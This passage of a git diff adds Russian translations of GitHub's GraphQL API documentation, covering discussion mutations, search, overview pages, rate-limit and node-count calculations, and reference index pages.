come after the specified cursor. + """ + after: String + + """ + Filter discussions to only those that have been answered or not. Defaults to + including both answered and unanswered discussions. + """ + answered: Boolean = null + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Ordering options for discussions returned from the connection. + """ + orderBy: DiscussionOrder = {field: CREATED_AT, direction: DESC} + + """ + Filter discussions to only those in a specific repository. + """ + repositoryId: ID + ): DiscussionConnection! +} +``` + +</details> + +### RepositoryDiscussionCommentAuthor + +Также реализуется типами `User` и `Organization`. + +<details> +<summary>Поля</summary> + +```graphql +""" +Represents an author of discussion comments in repositories. +""" +interface RepositoryDiscussionCommentAuthor { + """ + Discussion comments this user has authored. + """ + repositoryDiscussionComments( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Filter discussion comments to only those that were marked as the answer + """ + onlyAnswers: Boolean = false + + """ + Filter discussion comments to only those in a specific repository. + """ + repositoryId: ID + ): DiscussionCommentConnection! +} +``` + +</details> + +## Изменения + +Эти изменения соответствуют тому же шаблону реализации, что и другие изменения в API GraphQL. Каждое изменение принимает один аргумент типа `Input`, указываемый после изменения, и возвращает тип `Payload`, содержащий заданные поля. + +Например, это базовое изменение `createDiscussion`, которое создает обсуждение: + +```graphql +mutation { + # input type: CreateDiscussionInput + createDiscussion(input: {repositoryId: "1234", categoryId: "5678", body: "The body", title: "The title"}) { + + # response type: CreateDiscussionPayload + discussion { + id + } + } +} +``` + +### createDiscussion + +Поля ввода: + +* `body: String!` Текст нового обсуждения. +* `title: String!` Название нового обсуждения. +* `repositoryId: ID!` Идентификатор репозитория, в котором создается обсуждение. +* `categoryId: ID!` Идентификатор `DiscussionCategory` в этом репозитории. +* `clientMutationId: String` Уникальный идентификатор клиента, выполняющего изменение. + +Поля типа возвращаемого значения: + +* `clientMutationId: String` Уникальный идентификатор, предоставленный в качестве входных данных. +* `discussion: Discussion` Созданное обсуждение. + +### updateDiscussion + +Поля ввода: + +* `discussionId: ID!` Идентификатор узла обновляемого обсуждения. +* `body: String` Новое содержимое текста обсуждения. +* `title: String` Новое название обсуждения. +* `categoryId: ID` Идентификатор узла `DiscussionCategory` в том же репозитории, на который нужно изменить это обсуждение. +* `clientMutationId: String` Уникальный идентификатор клиента, выполняющего изменение. + +Поля типа возвращаемого значения: + +* `clientMutationId: String` Уникальный идентификатор, предоставленный в качестве входных данных. +* `discussion: Discussion` Измененное обсуждение. + +### deleteDiscussion +Поля ввода: + +* `id: ID!` Идентификатор узла удаляемого обсуждения. +* `clientMutationId: String` Уникальный идентификатор клиента, выполняющего изменение. + +Поля типа возвращаемого значения: + +* `clientMutationId: String` Уникальный идентификатор, предоставленный в качестве входных данных. +* `discussion: Discussion` Удаленное обсуждение. + +### addDiscussionComment + +Поля ввода: + +* `body: String!` Содержимое комментария. +* `discussionId: ID!` Идентификатор узла обсуждения, к которому добавляется комментарий. +* `replyToId: ID` Идентификатор узла комментария обсуждения, на который нужно ответить. При отсутствии созданный комментарий будет комментарием верхнего уровня. +* `clientMutationId: String` Уникальный идентификатор клиента, выполняющего изменение. + +Поля типа возвращаемого значения: + +* `clientMutationId: String` Уникальный идентификатор, предоставленный в качестве входных данных. +* `comment: DiscussionComment` Созданный комментарий к обсуждению. + +### updateDiscussionComment + +Поля ввода: + +* `body: String!` Новое содержимое текста комментария. +* `commentId: ID!` Идентификатор узла обновляемого комментария обсуждения. +* `clientMutationId: String` Уникальный идентификатор клиента, выполняющего изменение. + +Поля типа возвращаемого значения: + +* `clientMutationId: String` Уникальный идентификатор, предоставленный в качестве входных данных. +* `comment: DiscussionComment` Обновленный комментарий обсуждения. + +### deleteDiscussionComment + +Поля ввода: + +* `id: ID!` Идентификатор узла удаляемого комментария обсуждения. +* `clientMutationId: String` Уникальный идентификатор клиента, выполняющего изменение. + +Поля типа возвращаемого значения: + +* `clientMutationId: String` Уникальный идентификатор, предоставленный в качестве входных данных. +* `comment: DiscussionComment` Удаленный комментарий обсуждения. + +### markDiscussionCommentAsAnswer + +Поля ввода: + +* `id: ID!` Идентификатор узла комментария обсуждения, который нужно пометить как ответ. +* `clientMutationId: String` Уникальный идентификатор клиента, выполняющего изменение. + +Поля типа возвращаемого значения: + +* `clientMutationId: String` Уникальный идентификатор, предоставленный в качестве входных данных. +* `discussion: Discussion` Обсуждение с выбранным комментарием. + +### unmarkDiscussionCommentAsAnswer + +Поля ввода: + +* `id: ID!` Идентификатор узла комментария обсуждения, с которого нужно снять пометку ответа. +* `clientMutationId: String` Уникальный идентификатор клиента, выполняющего изменение. + +Поля типа возвращаемого значения: + +* `clientMutationId: String` Уникальный идентификатор, предоставленный в качестве входных данных. +* `discussion: Discussion` Обсуждение с комментарием, с которого снята пометка. + +## Поиск + +Обсуждение может быть возвращено из поля `search` верхнего уровня. Чтобы найти обсуждение, укажите `type` `DISCUSSION`. Тип `SearchResultItemConnection` имеет поле `discussionCount`, в котором сообщается количество возвращенных обсуждений. Тип `Discussion` добавляется в объединение `SearchResultItem`. Дополнительные сведения см. в разделах [Запросы](/graphql/reference/queries#searchresultitemconnection) и [Поиск в обсуждениях](/search-github/searching-on-github/searching-discussions). diff --git a/translations/ru-RU/content/graphql/index.md b/translations/ru-RU/content/graphql/index.md new file mode 100644 index 000000000000..346fba763748 --- /dev/null +++ b/translations/ru-RU/content/graphql/index.md @@ -0,0 +1,42 @@ +--- +title: API GraphQL в GitHub +intro: 'Чтобы создавать интеграции, извлекать данные и автоматизировать рабочие процессы, используйте API GraphQL для {% data variables.product.prodname_dotcom %}. API GraphQL для {% data variables.product.prodname_dotcom %} предоставляет более точные и гибкие запросы, чем REST API {% data variables.product.prodname_dotcom %}.' +shortTitle: GraphQL API +introLinks: + overview: /graphql/overview/about-the-graphql-api +featuredLinks: + guides: + - /graphql/guides/forming-calls-with-graphql + - /graphql/guides/introduction-to-graphql + - /graphql/guides/using-the-explorer + popular: + - /graphql/overview/explorer + - /graphql/overview/public-schema + - /graphql/overview/schema-previews + - /graphql/guides/using-the-graphql-api-for-discussions + guideCards: + - /graphql/guides/migrating-from-rest-to-graphql + - /graphql/guides/managing-enterprise-accounts + - /graphql/guides/using-global-node-ids +changelog: + label: 'api, apis' +layout: product-landing +redirect_from: + - /v4 +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +children: + - /overview + - /reference + - /guides +ms.openlocfilehash: f2667239f87135b080691b535eaf6d2669a53f76 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145069712' +--- + diff --git a/translations/ru-RU/content/graphql/overview/about-the-graphql-api.md b/translations/ru-RU/content/graphql/overview/about-the-graphql-api.md new file mode 100644 index 000000000000..9e664b44ceb5 --- /dev/null +++ b/translations/ru-RU/content/graphql/overview/about-the-graphql-api.md @@ -0,0 +1,59 @@ +--- +title: About the GraphQL API +intro: 'The {% data variables.product.prodname_dotcom %} GraphQL API offers flexibility and the ability to define precisely the data you want to fetch.' +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +--- + +## Overview + +Here are some quick links to get you up and running with the GraphQL API: + +* [Authentication](/graphql/guides/forming-calls-with-graphql#authenticating-with-graphql) +* [Root endpoint](/graphql/guides/forming-calls-with-graphql#the-graphql-endpoint) +* [Schema introspection](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api) +* [Rate limits](/graphql/overview/resource-limitations) +* [Migrating from REST](/graphql/guides/migrating-from-rest-to-graphql) + +For more information about {% data variables.product.company_short %}'s APIs, see "[About {% data variables.product.company_short %}'s APIs](/developers/overview/about-githubs-apis)." + +## About GraphQL + +The [GraphQL](https://graphql.github.io/) data query language is: + +* **A [specification](https://graphql.github.io/graphql-spec/June2018/).** The spec determines the validity of the [schema](/graphql/guides/introduction-to-graphql#schema) on the API server. The schema determines the validity of client calls. + +* **[Strongly typed](#about-the-graphql-schema-reference).** The schema defines an API's type system and all object relationships. + +* **[Introspective](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api).** A client can query the schema for details about the schema. + +* **[Hierarchical](/graphql/guides/forming-calls-with-graphql).** The shape of a GraphQL call mirrors the shape of the JSON data it returns. [Nested fields](/graphql/guides/migrating-from-rest-to-graphql#example-nesting) let you query for and receive only the data you specify in a single round trip. + +* **An application layer.** GraphQL is not a storage model or a database query language. The _graph_ refers to graph structures defined in the schema, where [nodes](/graphql/guides/introduction-to-graphql#node) define objects and [edges](/graphql/guides/introduction-to-graphql#edge) define relationships between objects. The API traverses and returns application data based on the schema definitions, independent of how the data is stored. + +## Why GitHub is using GraphQL + +GitHub chose GraphQL because it offers significantly more flexibility for our integrators. The ability to define precisely the data you want—and _only_ the data you want—is a powerful advantage over traditional REST API endpoints. GraphQL lets you replace multiple REST requests with _a single call_ to fetch the data you specify. + +For more details about why GitHub invested in GraphQL, see the original [announcement blog post](https://github.blog/2016-09-14-the-github-graphql-api/). + +## About the GraphQL schema reference + +The docs in the sidebar are generated from the {% data variables.product.prodname_dotcom %} GraphQL [schema](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api). All calls are validated and executed against the schema. Use these docs to find out what data you can call: + +* Allowed operations: [queries](/graphql/reference/queries) and [mutations](/graphql/reference/mutations). + +* Schema-defined types: [scalars](/graphql/reference/scalars), [objects](/graphql/reference/objects), [enums](/graphql/reference/enums), [interfaces](/graphql/reference/interfaces), [unions](/graphql/reference/unions), and [input objects](/graphql/reference/input-objects). + +You can access this same content via the [Explorer Docs sidebar](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs). Note that you may need to rely on both the docs and the schema validation to successfully call the GraphQL API. + +For other information, such as authentication and rate limit details, check out the [guides](/graphql/guides). + +## Requesting support + +{% data reusables.support.help_resources %} diff --git a/translations/ru-RU/content/graphql/overview/breaking-changes.md b/translations/ru-RU/content/graphql/overview/breaking-changes.md new file mode 100644 index 000000000000..752ca8c4ba65 --- /dev/null +++ b/translations/ru-RU/content/graphql/overview/breaking-changes.md @@ -0,0 +1,29 @@ +--- +title: Критические изменения +intro: 'Узнайте о последних и предстоящих критических изменениях в API GraphQL {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /v4/breaking_changes +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +ms.openlocfilehash: c76520b1f9dc806659373771b42501e072319937 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109496' +--- +## Сведения о критических изменениях + +Критические изменения — это любые изменения, которые могут потребовать действий от интеграторов. Эти изменения делятся на две категории: + +- **Критические.** Изменения, которые прерывают выполнение текущих запросов к API GraphQL. Например, критическим изменением является удаление поля. +- **Опасные.** Изменения, которые не прерывают выполнение существующих запросов, но могут повлиять на поведение среды выполнения клиентов. Опасным изменением является, например, добавление значения в перечисление. + +Мы стремимся предоставлять стабильные API для наших интеграторов. Когда работа над новой функцией еще идет, мы выпускаем ее в рамках [предварительной версии схемы](/graphql/overview/schema-previews). + +Мы объявляем о предстоящих критических изменениях минимум за три месяца до их внедрения в схему GraphQL, чтобы дать интеграторам время для внесения необходимых корректировок. Изменения вступают в силу в первый день квартала (1 января, 1 апреля, 1 июля или 1 октября). Например, если об изменении объявлено 15 января, оно будет внедрено 1 июля. diff --git a/translations/ru-RU/content/graphql/overview/changelog.md b/translations/ru-RU/content/graphql/overview/changelog.md new file mode 100644 index 000000000000..3827c1bf544a --- /dev/null +++ b/translations/ru-RU/content/graphql/overview/changelog.md @@ -0,0 +1,20 @@ +--- +title: Журнал изменений +intro: 'Журнал изменений схемы GraphQL — это список последних и предстоящих изменений в схеме API GraphQL. Он содержит сведения об изменениях с поддержкой обратной совместимости, предварительных версиях схемы и предстоящих критических изменениях.' +redirect_from: + - /v4/changelog +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +ms.openlocfilehash: 34f0baed8b75614c939281ed6a2393d7c809c82f +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109057' +--- +Критические изменения — это изменения, которые нарушат работу существующих запросов или могут повлиять на работу клиентов во время выполнения. Список критических изменений и сроки их внедрения см. в нашем [журнале критических изменений](/graphql/overview/breaking-changes). diff --git a/translations/ru-RU/content/graphql/overview/explorer.md b/translations/ru-RU/content/graphql/overview/explorer.md new file mode 100644 index 000000000000..6335e0355bd6 --- /dev/null +++ b/translations/ru-RU/content/graphql/overview/explorer.md @@ -0,0 +1,21 @@ +--- +title: Обозреватель +redirect_from: + - /v4/explorer + - /v4/explorer-new +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +layout: graphql-explorer +topics: + - API +ms.openlocfilehash: 5f881da248fb81fa4288d6af8984344f76991ca1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145069701' +--- + diff --git a/translations/ru-RU/content/graphql/overview/index.md b/translations/ru-RU/content/graphql/overview/index.md new file mode 100644 index 000000000000..56f9d8a9a872 --- /dev/null +++ b/translations/ru-RU/content/graphql/overview/index.md @@ -0,0 +1,24 @@ +--- +title: Обзор +intro: 'Сведения об API GraphQL для {% data variables.product.prodname_dotcom %}, обзор предстоящих изменений, критических изменений и ограничений. Вы также можете использовать обозреватель GraphQL для взаимодействия с API на примере реальных данных {% data variables.product.prodname_dotcom %}.' +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +children: + - /about-the-graphql-api + - /public-schema + - /schema-previews + - /breaking-changes + - /changelog + - /explorer + - /resource-limitations +ms.openlocfilehash: 8476605072c24b3cd702bc62b34c6b29d062d340 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145069689' +--- + diff --git a/translations/ru-RU/content/graphql/overview/public-schema.md b/translations/ru-RU/content/graphql/overview/public-schema.md new file mode 100644 index 000000000000..4100b668617e --- /dev/null +++ b/translations/ru-RU/content/graphql/overview/public-schema.md @@ -0,0 +1,40 @@ +--- +title: Общедоступная схема +intro: 'Загрузите общедоступную схему для API GraphQL {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /v4/public_schema +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +ms.openlocfilehash: cb1c990506512c252b488b9d265cf8eb052435e2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145069680' +--- +Вы можете напрямую [выполнять интроспекцию](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api) в API GraphQL. + +Кроме того, последнюю версию общедоступной схемы можно скачать здесь: + +{% ifversion fpt or ghec %} + +[{% octicon "desktop-download" aria-label="The desktop download icon" %} `schema.docs.graphql`](/public/schema.docs.graphql) + +{% endif %} + +{% ifversion ghes %} + +[{% octicon "desktop-download" aria-label="The desktop download icon" %} `schema.docs-enterprise.graphql`](/public/ghes-{{ allVersions[currentVersion].currentRelease }}/schema.docs-enterprise.graphql) ({{ allVersions[currentVersion].versionTitle }}) + +{% endif %} + +{% ifversion ghae %} + +[{% octicon "desktop-download" aria-label="The desktop download icon" %} `schema.docs-ghae.graphql`](/public/ghae/schema.docs-ghae.graphql) ({{ allVersions[currentVersion].versionTitle }}) + +{% endif %} diff --git a/translations/ru-RU/content/graphql/overview/resource-limitations.md b/translations/ru-RU/content/graphql/overview/resource-limitations.md new file mode 100644 index 000000000000..1d92c4724b07 --- /dev/null +++ b/translations/ru-RU/content/graphql/overview/resource-limitations.md @@ -0,0 +1,239 @@ +--- +title: Ограничения ресурсов +intro: 'API GraphQL {% data variables.product.prodname_dotcom %} имеет ограничения для защиты от чрезмерных вызовов к серверам {% data variables.product.prodname_dotcom %} или злоупотребления ими.' +redirect_from: + - /v4/guides/resource-limitations +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +ms.openlocfilehash: 7a0f040b86435573171c4022a72f8d558ad06c29 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146381427' +--- +## Предельное число узлов + +Чтобы пройти проверку [схемы](/graphql/guides/introduction-to-graphql#schema), все [вызовы](/graphql/guides/forming-calls-with-graphql) API GraphQL должны соответствовать следующим стандартам: + +* Клиенты должны предоставлять аргумент `first` или `last` для любого [подключения](/graphql/guides/introduction-to-graphql#connection). +* Значения `first` и `last` должны находиться в пределах 1–100. +* В отдельных вызовах не может запрашивать более 500 000 [узлов](/graphql/guides/introduction-to-graphql#node). + +### Подсчет узлов в вызове + +В этих двух примерах показано, как вычислить общее количество узлов в вызове. + +1. Простой запрос: + + <pre>query { + viewer { + repositories(first: <span class="redbox">50</span>) { + edges { + repository:node { + name + + issues(first: <span class="greenbox">10</span>) { + totalCount + edges { + node { + title + bodyHTML + } + } + } + } + } + } + } + }</pre> + + Расчет: + + <pre><span class="redbox">50</span> = 50 repositories + + + <span class="redbox">50</span> x <span class="greenbox">10</span> = 500 repository issues + + = 550 total nodes</pre> + +2. Сложный запрос: + + <pre>query { + viewer { + repositories(first: <span class="redbox">50</span>) { + edges { + repository:node { + name + + pullRequests(first: <span class="greenbox">20</span>) { + edges { + pullRequest:node { + title + + comments(first: <span class="bluebox">10</span>) { + edges { + comment:node { + bodyHTML + } + } + } + } + } + } + + issues(first: <span class="greenbox">20</span>) { + totalCount + edges { + issue:node { + title + bodyHTML + + comments(first: <span class="bluebox">10</span>) { + edges { + comment:node { + bodyHTML + } + } + } + } + } + } + } + } + } + + followers(first: <span class="bluebox">10</span>) { + edges { + follower:node { + login + } + } + } + } + }</code></pre> + + Расчет: + + <pre><span class="redbox">50</span> = 50 repositories + + + <span class="redbox">50</span> x <span class="greenbox">20</span> = 1,000 pullRequests + + + <span class="redbox">50</span> x <span class="greenbox">20</span> x <span class="bluebox">10</span> = 10,000 pullRequest comments + + + <span class="redbox">50</span> x <span class="greenbox">20</span> = 1,000 issues + + + <span class="redbox">50</span> x <span class="greenbox">20</span> x <span class="bluebox">10</span> = 10,000 issue comments + + + <span class="bluebox">10</span> = 10 followers + + = 22,060 total nodes</pre> + +## Ограничение скорости + +Ограничение скорости для API GraphQL версии 4 отличается от [ограничения скорости](/rest/overview/resources-in-the-rest-api#rate-limiting) для REST API. + +Почему различаются ограничения скорости API? Один вызов [GraphQL](/graphql) может заменять [несколько вызовов REST](/graphql/guides/migrating-from-rest-to-graphql). Один сложный вызов GraphQL может быть эквивалентен тысячам запросов REST. Хотя вызов GraphQL может спокойно укладываться в ограничение скорости REST API, запрос может быть столь же затратным для обработки на серверах GitHub. + +Чтобы точно представить затраты на обработку запроса на сервере, API GraphQL вычисляет **оценку ограничения скорости** для вызова на основе нормализованной шкалы баллов. При оценке запроса учитываются первый и последний аргументы родительского соединения и его дочерних элементов. + +* Формула использует аргументы `first` и `last` родительского соединения и его дочерних элементов для предварительного вычисления потенциальной нагрузки на системы GitHub, такие как MySQL, ElasticSearch и GIT. +* Каждое новое соединение имеет собственное значение. Баллы объединяются с другими баллами вызова в общую оценку ограничения скорости. + +Ограничение скорости в API GraphQL составляет **5000 баллов в час**. + +Обратите внимание, что 5000 баллов в час — это не то же самое, что 5000 вызовов в час: в API GraphQL и REST API используются разные ограничения скорости. + +{% note %} + +**Примечание**. Текущая формула и ограничение скорости могут изменяться по мере наблюдения за тем, как разработчики используют API GraphQL. + +{% endnote %} + +### Возвращение состояния ограничения скорости для вызова + +При использовании REST API состояние ограничения скорости можно проверить, [просмотрев](/rest/overview/resources-in-the-rest-api#rate-limiting) возвращенные заголовки HTTP. + +При использовании API GraphQL состояние ограничения скорости можно проверить, запросив поля объекта `rateLimit`: + +```graphql +query { + viewer { + login + } + rateLimit { + limit + cost + remaining + resetAt + } +} +``` + +* В поле `limit` возвращается максимальное количество баллов, которое клиент может использовать за 60-минутный период. + +* В поле `cost` возвращается стоимость в баллах для текущего вызова, который засчитывается при определении ограничения скорости. + +* В поле `remaining` возвращается количество баллов, оставшихся в текущем периоде ограничения скорости. + +* В поле `resetAt` возвращается время сброса текущего интервала ограничения скорости в [секундах с эпохи UTC](http://en.wikipedia.org/wiki/Unix_time). + +### Вычисление оценки ограничения скорости перед выполнением вызова + +При запросе объекта `rateLimit` возвращается оценка для вызова, но этот запрос учитывается при расчете ограничения. Чтобы избежать этой проблемы, можно вычислить оценку для вызова перед его выполнением. Приведенный ниже расчет дает примерно тот же результат, что и `rateLimit { cost }`. + +1. Сложите количество запросов, необходимых для выполнения каждого уникального подключения в вызове. Предположим, что каждый запрос будет достигать ограничений для аргумента `first` или `last`. +2. Разделите число на **100** и округлите результат, чтобы получить итоговые совокупные затраты. На этом шаге нормализуется большое число. + +{% note %} + +**Примечание.** Минимальная стоимость вызова API GraphQL равна **1**, что соответствует одному запросу. + +{% endnote %} + +Ниже приведен пример запроса и вычисления оценки. + +```graphql +query { + viewer { + login + repositories(first: 100) { + edges { + node { + id + + issues(first: 50) { + edges { + node { + id + + labels(first: 60) { + edges { + node { + id + name + } + } + } + } + } + } + } + } + } + } +} +``` + +Для выполнения этого запроса требуется 5101 вызов: + +* Хотя возвращается 100 репозиториев, API должен подключиться к учетной записи зрителя **один раз**, чтобы получить список репозиториев. Таким образом, число запросов для репозиториев = **1**. +* Хотя возвращается 50 проблем, API должен подключиться к каждому из **100** репозиториев, чтобы получить список проблем. Таким образом, число запросов для проблем = **100**. +* Хотя возвращается 60 меток, API должен подключиться к каждой из **5000** потенциальных проблем, чтобы получить список меток. Таким образом, число запросов для меток = **5000**. +* Всего **5101** запрос. + +Разделим на 100, округлим, и получим окончательную оценку для запроса: **51**. diff --git a/translations/ru-RU/content/graphql/overview/schema-previews.md b/translations/ru-RU/content/graphql/overview/schema-previews.md new file mode 100644 index 000000000000..1edacaf196f4 --- /dev/null +++ b/translations/ru-RU/content/graphql/overview/schema-previews.md @@ -0,0 +1,30 @@ +--- +title: Предварительные версии схемы +intro: 'Вы можете просматривать предстоящие функции и изменения в схеме GraphQL {% data variables.product.prodname_dotcom %} перед их добавлением в API GraphQL {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /v4/previews +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +ms.openlocfilehash: 038afd8cbdd60863213eae385ec9a26f707f62d8 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109052' +--- +## Сведения о предварительных версиях схемы + +В течение периода предварительной версии мы можем изменить некоторые функции на основе отзывов разработчиков. В случае изменений мы объявим о них в [блоге разработчиков](https://developer.github.com/changes/) без предварительного уведомления. + +Чтобы получить доступ к предварительной версии схемы, необходимо указать пользовательский [тип носителя](/rest/overview/media-types) в заголовке `Accept` запросов. В документации по функциям для каждой предварительной версии указывается, какой пользовательский тип носителя следует указывать. + +{% note %} + +**Примечание.** Члены схемы GraphQL, доступные в предварительной версии, в настоящее время недоступны через обозреватель. + +{% endnote %} diff --git a/translations/ru-RU/content/graphql/reference/enums.md b/translations/ru-RU/content/graphql/reference/enums.md new file mode 100644 index 000000000000..5c5a96f34d39 --- /dev/null +++ b/translations/ru-RU/content/graphql/reference/enums.md @@ -0,0 +1,25 @@ +--- +title: Enums +redirect_from: + - /v4/enum + - /v4/reference/enum +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +--- + +## About enums + +[Enums](https://graphql.github.io/graphql-spec/June2018/#sec-Enums) represent possible sets of values for a field. + +For example, the [`Issue`](/graphql/reference/objects#issue) object has a field called `state`. The state is an enum (specifically, of type [`IssueState`](/graphql/reference/enums#issuestate)) because it may be `OPEN` or `CLOSED`. + +For more information, see "[Introduction to GraphQL](/graphql/guides/introduction-to-graphql)." + +{% data reusables.projects.graphql-ghes %} + +<!-- Content after this section is automatically generated --> diff --git a/translations/ru-RU/content/graphql/reference/index.md b/translations/ru-RU/content/graphql/reference/index.md new file mode 100644 index 000000000000..7d1ee87d9a91 --- /dev/null +++ b/translations/ru-RU/content/graphql/reference/index.md @@ -0,0 +1,27 @@ +--- +title: Ссылка +intro: 'Просмотрите справочную документацию, чтобы узнать о типах данных, доступных в схеме API GraphQL {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /v4/reference +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +children: + - /queries + - /mutations + - /objects + - /interfaces + - /enums + - /unions + - /input-objects + - /scalars +ms.openlocfilehash: e321cf6116e083fab00707deaf7d86a5f13beefb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145069672' +--- + diff --git a/translations/ru-RU/content/graphql/reference/input-objects.md b/translations/ru-RU/content/graphql/reference/input-objects.md new file mode 100644 index 000000000000..c2fac8599608 --- /dev/null +++ b/translations/ru-RU/content/graphql/reference/input-objects.md @@ -0,0 +1,25 @@ +--- +title: Input objects +redirect_from: + - /v4/input_object + - /v4/reference/input_object +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +--- + +## About input objects + +[Input objects](https://graphql.github.io/graphql-spec/June2018/#sec-Input-Objects) can be described as "composable objects" because they include a set of input fields that define the object. + +For example, [`CommitAuthor`](/graphql/reference/input-objects#commitauthor) takes a field called `emails`. Providing a value for `emails` transforms `CommitAuthor` into a list of `User` objects containing that email address. Note that [objects](/graphql/reference/objects) **may** have input objects, whereas [mutations](/graphql/reference/mutations) **require** input objects. + +For more information, see "[About mutations](/graphql/guides/forming-calls-with-graphql#about-mutations)." + +{% data reusables.projects.graphql-ghes %} + +<!-- Content after this section is automatically generated --> diff --git a/translations/ru-RU/content/graphql/reference/interfaces.md b/translations/ru-RU/content/graphql/reference/interfaces.md new file mode 100644 index 000000000000..7834a9030759 --- /dev/null +++ b/translations/ru-RU/content/graphql/reference/interfaces.md @@ -0,0 +1,25 @@ +--- +title: Interfaces +redirect_from: + - /v4/interface + - /v4/reference/interface +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +--- + +## About interfaces + +[Interfaces](https://graphql.github.io/graphql-spec/June2018/#sec-Interfaces) serve as parent objects from which other objects can inherit. + +For example, [`Lockable`](/graphql/reference/interfaces#lockable) is an interface because both [`Issue`](/graphql/reference/objects#issue) and [`PullRequest`](/graphql/reference/objects#pullrequest) objects can be locked. An interface has its own list of named fields that are shared by implementing objects. + +For more information, see "[Implementation](/graphql/guides/introduction-to-graphql#implementation)." + +{% data reusables.projects.graphql-ghes %} + +<!-- Content after this section is automatically generated --> diff --git a/translations/ru-RU/content/graphql/reference/mutations.md b/translations/ru-RU/content/graphql/reference/mutations.md new file mode 100644 index 000000000000..d92aac569f5f --- /dev/null +++ b/translations/ru-RU/content/graphql/reference/mutations.md @@ -0,0 +1,23 @@ +--- +title: Mutations +redirect_from: + - /v4/mutation + - /v4/reference/mutation +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +--- + +## About mutations + +Every GraphQL schema has a root type for both queries and mutations. The [mutation type](https://graphql.github.io/graphql-spec/June2018/#sec-Type-System) defines GraphQL operations that change data on the server. It is analogous to performing HTTP verbs such as `POST`, `PATCH`, and `DELETE`. + +For more information, see "[About mutations](/graphql/guides/forming-calls-with-graphql#about-mutations)." + +{% data reusables.projects.graphql-ghes %} + +<!-- Content after this section is automatically generated --> diff --git a/translations/ru-RU/content/graphql/reference/objects.md b/translations/ru-RU/content/graphql/reference/objects.md new file mode 100644 index 000000000000..a843b57912c4 --- /dev/null +++ b/translations/ru-RU/content/graphql/reference/objects.md @@ -0,0 +1,25 @@ +--- +title: Objects +redirect_from: + - /v4/object + - /v4/reference/object +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +--- + +## About objects + +[Objects](https://graphql.github.io/graphql-spec/June2018/#sec-Objects) in GraphQL represent the resources you can access. An object can contain a list of fields, which are specifically typed. + +For example, the [`Repository`](/graphql/reference/objects#repository) object has a field called `name`, which is a `String`. + +For more information, see "[Introduction to GraphQL](/graphql/guides/introduction-to-graphql)." + +{% data reusables.projects.graphql-ghes %} + +<!-- Content after this section is automatically generated --> diff --git a/translations/ru-RU/content/graphql/reference/queries.md b/translations/ru-RU/content/graphql/reference/queries.md new file mode 100644 index 000000000000..21fc1cdff812 --- /dev/null +++ b/translations/ru-RU/content/graphql/reference/queries.md @@ -0,0 +1,33 @@ +--- +title: Запросы +miniTocMaxHeadingLevel: 3 +redirect_from: + - /v4/query + - /v4/reference/query +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +ms.openlocfilehash: d5c31e8e00788d2e75f27b0bb161249f01fcfb1d +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 